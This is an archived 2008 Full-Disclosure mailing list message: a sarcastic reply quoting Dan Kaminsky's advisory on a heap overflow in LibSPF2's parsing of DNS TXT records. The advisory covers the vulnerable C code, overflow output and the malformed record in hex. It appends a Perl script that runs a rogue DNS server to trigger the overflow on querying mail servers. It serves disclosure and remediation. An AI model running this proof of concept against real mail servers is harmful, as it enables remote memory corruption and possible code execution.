lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <48FFD63C.8040602@gmail.com>
Date: Wed, 22 Oct 2008 20:41:16 -0500
From: rholgstad <rholgstad@...il.com>
To: Dan Kaminsky <Dan.Kaminsky@...ctive.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: DNS TXT Record Parsing Bug in LibSPF2

have you forwarded this email to nytimes, wall street journal, blackhat 
eu, jp, and usa, yet? We surely wouldn't want you to miss out on any press.

Dan Kaminsky wrote:
> Advisory:  DNS TXT Record Parsing Bug in LibSPF2
> Author:  Dan Kaminsky, Director of Penetration Testing, IOActive Inc, 
> Dan.Kaminsky@...ctive.com (PGP Key In Appendix)
> Abstract:
>
> A relatively common bug parsing TXT records delivered over DNS, dating
> at least back to 2002 in Sendmail 8.2.0 and almost certainly much
> earlier, has been found in LibSPF2, a library frequently used to
> retrieve SPF (Sender Policy Framework) records and apply policy
> according to those records.  This implementation flaw allows for
> relatively flexible memory corruption, and should thus be treated as a
> path to anonymous remote code execution.  Of particular note is that the
> remote code execution would occur on servers specifically designed to
> receive E-Mail from the Internet, and that these systems may in fact be
> high volume mail exchangers.  This creates privacy implications.  It is
> also the case that a corrupted email server is a useful “jumping off”
> point for attackers to corrupt desktop machines, since attachments can
> be corrupted with malware while the containing message stays intact.  So
> there are internal security implications as well, above and beyond
> corruption of the mail server on the DMZ.
>
> Recommendations:
>
> If you are a major mail exchange, you should determine whether the SPAM
> filters that protect your systems use LibSPF2.
>
> If you are a vendor of anti-SPAM devices, or the author of an operating
> system with components that may use LibSPF2, you should determine
> whether LibSPF2 is used in any of your configurations and migrate to
> LibSPF 1.2.8, found at:
>
>     http://www.libspf2.org/index.html
>
> If your product has a dependency on DNS TXT records, we recommend you
> test it for the parsing bug that LibSPF2 was vulnerable to, since this
> has been a problem for some time.  Name server implementations may want
> to consider adding filtering themselves, though record validation is not
> normally their job.
>
> Details:  DNS TXT records have long been a little tricky to parse, due
> to them containing two length fields.  First, there is the length field
> of the record as a whole.  Then, there is a sublength field, from 0 to
> 255, that describes the length of a particular character string inside
> the larger record.  There is nothing that links the two values, and DNS
> servers to not themselves enforce sanity checks here.  As such, there is
> always a risk that when receiving a DNS TXT record, the outer record
> length will be the amount allocated, but the inner length will be copied.
>
> In the past, we’ve seen this particular bug all over the place,
> including in Sendmail.  This is just the same bug, showing up in LibSPF2
> 1.2.5:
>
> Spf_dns_resolv.c#SPF_dns_resolv_lookup():
>
>            case ns_t_txt:
>            if ( rdlen > 1 )
>            {
>                u_char *src, *dst;
>                size_t len;
>
>                if ( SPF_dns_rr_buf_realloc( spfrr, cnt, rdlen ) !=
> SPF_E_SUCCESS ) // allocate rdlen bytes at spf->rr[cn]->txt
>                return spfrr;
>
>                dst = spfrr->rr[cnt]->txt;
>                len = 0;
>                src = (u_char *)rdata;
>                while ( rdlen > 0 )
>                {
>                len = *src; // get a second length from the attacker
> controlled datastream -- some value from 0 to 255, unbound to rdlen
>                src++;
>                memcpy( dst, src, len ); // copy that second length to
> rdlen byte buffer.
>                dst += len;
>                src += len;
>                rdlen -= len + 1;
>                }
>                *dst = '\0';
>
>  For validation purposes, a build of LibSPF2 was instrumented, to
> validate the heap overflow:
>
> $ ./spfquery -ip=1.2.3.4 -sender=foo@....toorrr.com
> buffer 8107080 has size 16
> buffer 8107090 has size 16
> buffer 81070a0 has size 16
> writing 255 bytes to a 15 size buffer at 81070a0 // overflow
> buffer 8123030 has size 234
> writing 233 bytes to a 234 size buffer at 8123030
> buffer 81060c0 has size 20
> buffer 81060e0 has size 20
> buffer 8123120 has size 234
> buffer 8106100 has size 31
> StartError
> Context: Failed to query MAIL-FROM
> ErrorCode: (2) Could not find a valid SPF record
> Error: Invalid character in middle of mechanism near 'À
>                                                        bar.toorrr'
> Error: Failed to compile SPF record for 'bar.toorrr.com'
> EndError
> (invalid)
>
> The actual record used to spawn this behavior was as follows:
>
> ;; HEADER SECTION
> ;; id = 63838
> ;; qr = 1    opcode = QUERY    aa = 1    tc = 0    rd = 1
> ;; ra = 0    ad = 0    cd = 0    rcode  = NOERROR
> ;; qdcount = 1  ancount = 2  nscount = 0  arcount = 0
>
> ;; QUESTION SECTION (1 record)
> ;; bar.toorrr.com.      IN      TXT
>
> ;; ANSWER SECTION (2 records)
> bar.toorrr.com. 0       IN      TXT     "v=spf1 mx +all"
> bar.toorrr.com. 0       IN      TXT    
> "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
>
> ;; AUTHORITY SECTION (0 records)
>
> ;; ADDITIONAL SECTION (0 records)
>
> Or, in hex:
>
>           00 01 02 03 04 05 06 07 - 08 09 0A 0B 0C 0D 0E 0F 
> 0123456789ABCDEF
>
> 00000000  F9 5E 85 00 00 01 00 02 - 00 00 00 00 03 62 61 72 
> .^...........bar
> 00000010  06 74 6F 6F 72 72 72 03 - 63 6F 6D 00 00 10 00 01 
> .toorrr.com.....
> 00000020  C0 0C 00 10 00 01 00 00 - 00 00 00 0F FF 76 3D 73 
> .............v=s
> 00000030  70 66 31 20 6D 78 20 2B - 61 6C 6C C0 0C 00 10 00  pf1 mx
> +all.....
> 00000040  01 00 00 00 00 00 EA E9 - 41 41 41 41 41 41 41 41 
> ........AAAAAAAA
> 00000050  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
> AAAAAAAAAAAAAAAA
> 00000060  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
> AAAAAAAAAAAAAAAA
> 00000070  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
> AAAAAAAAAAAAAAAA
> 00000080  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
> AAAAAAAAAAAAAAAA
> 00000090  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
> AAAAAAAAAAAAAAAA
> 000000A0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
> AAAAAAAAAAAAAAAA
> 000000B0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
> AAAAAAAAAAAAAAAA
> 000000C0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
> AAAAAAAAAAAAAAAA
> 000000D0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
> AAAAAAAAAAAAAAAA
> 000000E0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
> AAAAAAAAAAAAAAAA
> 000000F0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
> AAAAAAAAAAAAAAAA
> 00000100  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
> AAAAAAAAAAAAAAAA
> 00000110  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
> AAAAAAAAAAAAAAAA
> 00000120  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
> AAAAAAAAAAAAAAAA
> 00000130  41                                                 A
>
> The altered length field, on 0x2C, is what’s causing the overflow. 
> Sample code to reproduce the above is attached at the end of this paper.
>
> Conclusion:
>
> There’s nothing particularly special about this bug – we’ve even seen
> this in mail servers before.  But it is apparently present on some very
> high profile and high traffic systems.  SPF is a major part of how the
> Internet attempts to filter SPAM, and while it’s not perfect, it is
> pretty helpful.  LibSPF2 is one of the more common libraries out there
> for handling SPF traffic, with billions of messages a day being
> protected by it.
>
> Unfortunately, that also means billions of messages a day are at risk –
> the nature of this flaw is such that an attacker can force arbitrary (or
> at least ASCII encoded, though no nameservers have been found that
> enforce ASCII) bytes to be copied into a buffer too small to contain
> them.  This is a straightforward anonymous remote code execution find,
> made interesting specifically by where the bug happens to be.
>  
>
> Appendix:  Simple code to reproduce heap overflow.
>
>
> # cat spfattack.pl
> #!/usr/bin/perl
> #
>
> use Net::DNS;
> use IO::Socket::INET;
> use Data::HexDump;
>
>
> my $qclass = "IN";
> my $ttl = 10;
>
> while (1){
>    my $sock = IO::Socket::INET->new(
>                                  LocalPort => '53',
>                                  Proto     => 'udp');
>    $sock->recv($newmsg, 2048);
>    my $req    = Net::DNS::Packet->new(\$newmsg);
>    $req->print;
>    my $id = $req->header->id();
>    my @q = $req->question;
>    my $qname = $q[0]->qname;
>    my $qtype = $q[0]->qtype;
>    if($qtype eq "PTR") { next; }
>    $answer = Net::DNS::Packet->new($qname, $qtype);
>    if($qtype eq "TXT"){
>       $answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass $qtype
> 'v=spf1 mx +all'"));
>       $answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass $qtype
> 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'"));
>    }
>    if($qtype eq "MX"){}
>
>    $answer->header->id($id);
>    $answer->header->aa(1);
>    $answer->header->qr(1);
>    $answer->print;
>    my $port =  $sock->peerport;
>    my $peer = inet_ntoa($sock->peeraddr);
>
>    $sock->shutdown(2);
>    $sock = "";
>
>    my $tempsock  = IO::Socket::INET->new(
>                                          LocalPort=>'53',
>                                          PeerAddr=>"$peer",
>                                          PeerPort=>$port,
>                                          Proto=>'udp');
>
>
>    my $newans;
>
>    $newans = $answer->data;
>    if($qtype eq "TXT"){
>      substr($newans, 44, 1, pack("c",0xff));
>      print HexDump $newans;
>    }
>    $tempsock->send($newans);
>
>
>    #my $packet = Net::DNS::Packet->new(\$newmsg);
> }
>
> PGP Key for dan.kaminsky@...ctive.com:
>
> -----BEGIN PGP PUBLIC KEY BLOCK-----
> Version: GnuPG v1.4.5 (MingW32)
>
> mQGiBET4quERBAChQCcg/KoKkwNDpVoCfKpIFc6d86Xs+9e5yHeFg6bK8ElRUPFp
> CEgjCSu9+LB3xEJFZhw807BbXaytNqa/H6oSvuqThI053dLIjy7zl0o0yNyT6ZTQ
> KvSStycDurEthqXH0grxDVerpDiTz/B9uo3pu9HmV4SDGwpnp3klsg96zwCg+tZa
> JFZ0NeaUYBLQvRJgDBGSonUD/2GwXY+KOc7oKP/lvrdXgkSSuS4+aC9Ce0UGuX/f
> //d2pK7Z/PKPCCipMYTIk8/fIDEd8uZ8ZNdtQTe5BCtwJYJAfeP/JHIAmBlq2jvL
> k83GzaaGPvt4fyTR8uvX0t5g4AhHYL1LdyuCyTndQecewKArKVyHGYbLmPaf1fh3
> dNGAA/0Qu6BrRf65h0jzk5P9b49kJ/+xliOCq4u8oFbVJPM3QAsAc1W8D2a+rxjc
> VFgheTqf56XQk4wD9mE1r19PntwVH7FuOu71mwk6Mboz/7IGBQsh9B+pDkFPfJD8
> y2Qcueudnl7Tt8ijbQF2EBUeu1LPfWATj9b7NfMyG4ZhOzAtzrQoRGFuIEthbWlu
> c2t5IDxEYW4uS2FtaW5za3lAaW9hY3RpdmUuY29tPohgBBMRAgAgBQJE+KrhAhsj
> BgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQX74rnUOpgcD/7gCdEUsXwl+8QdGt
> tuXk/cKiayQ+ZeIAn3CaH6tN3DhJHQLkPBpLVEW7sKgCiEYEEBECAAYFAkfn9EoA
> CgkQ00k+8NKXq47fXgCff7GLg5KiT3VzjYRZ08vRfItoqE0An2C97W+GW9b61/Oa
> mP1wh492B2kAuQINBET4qwwQCACx6XPvnq5Uhb0howb4AfugArGBzdaejE7DZ4PC
> L+T9oYiW5ZJsSiB5q0X6AkoUCLHbCc1s1zbyuwFsjVSgkYTXX+zU1rJ8mI+HxDch
> NYQy5x8t1vpCeIDBzo4ylHpgpTKoINGhlc4KJv+ixZAbEB+OcTThN3mBgbF1oVdk
> aw8qrYcEl4LjL00qjMmpT5BIo7r/O7HrShRGQBm4gKBG7ufjWqZ8u/+nbty2vwAo
> eJ+v3Apduv9CRaDcouenmIHlx6AC321vhsyLRQrZ0lNKXC2DkYWel3+UTWIQfyws
> zj57Xi8XNHcjcBWd5SOpuBJQ5ZHn68H3ACpGZ86/+LqlQNlPAAMFB/0eOZYgz8LN
> DkgsFQR0Hg4htWWPXAg8QPJs+wXrcP1hLL3z3ljUPPKHUDD+pAh7AR8MH2iGsD0J
> f1ArP7vZiXJCZzPOTwtOZZccpnapckpJA57cy7aEX5y3VESrYCgbtL7pS9ZQZP9Q
> DKsBJ6WqBcxjHljRwlfVnHu+H/ogJEN2EngM04D4ePck8eeCZfYftM2mlpfDAeiD
> UtSfS+I2Vdg7//g4XDV/PCfA8s9U5oQ2Q+S/8di44c1iIX7w2rhYEHh+u3hqOQeD
> eHj7expH6gfgYE77uBnY6342j4PJdF3fDgndoQ31lPORbgafUy11VzNQJ1V8rft0
> gXkz+UhvgewBiEkEGBECAAkFAkT4qwwCGwwACgkQX74rnUOpgcD4IwCfWvJwxRu6
> 5auog7Ke5X1f1z1Od3kAnRUI5tjRjUR3i3MI5g9V1L0ZbCVn
> =N3MT
> -----END PGP PUBLIC KEY BLOCK-----
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ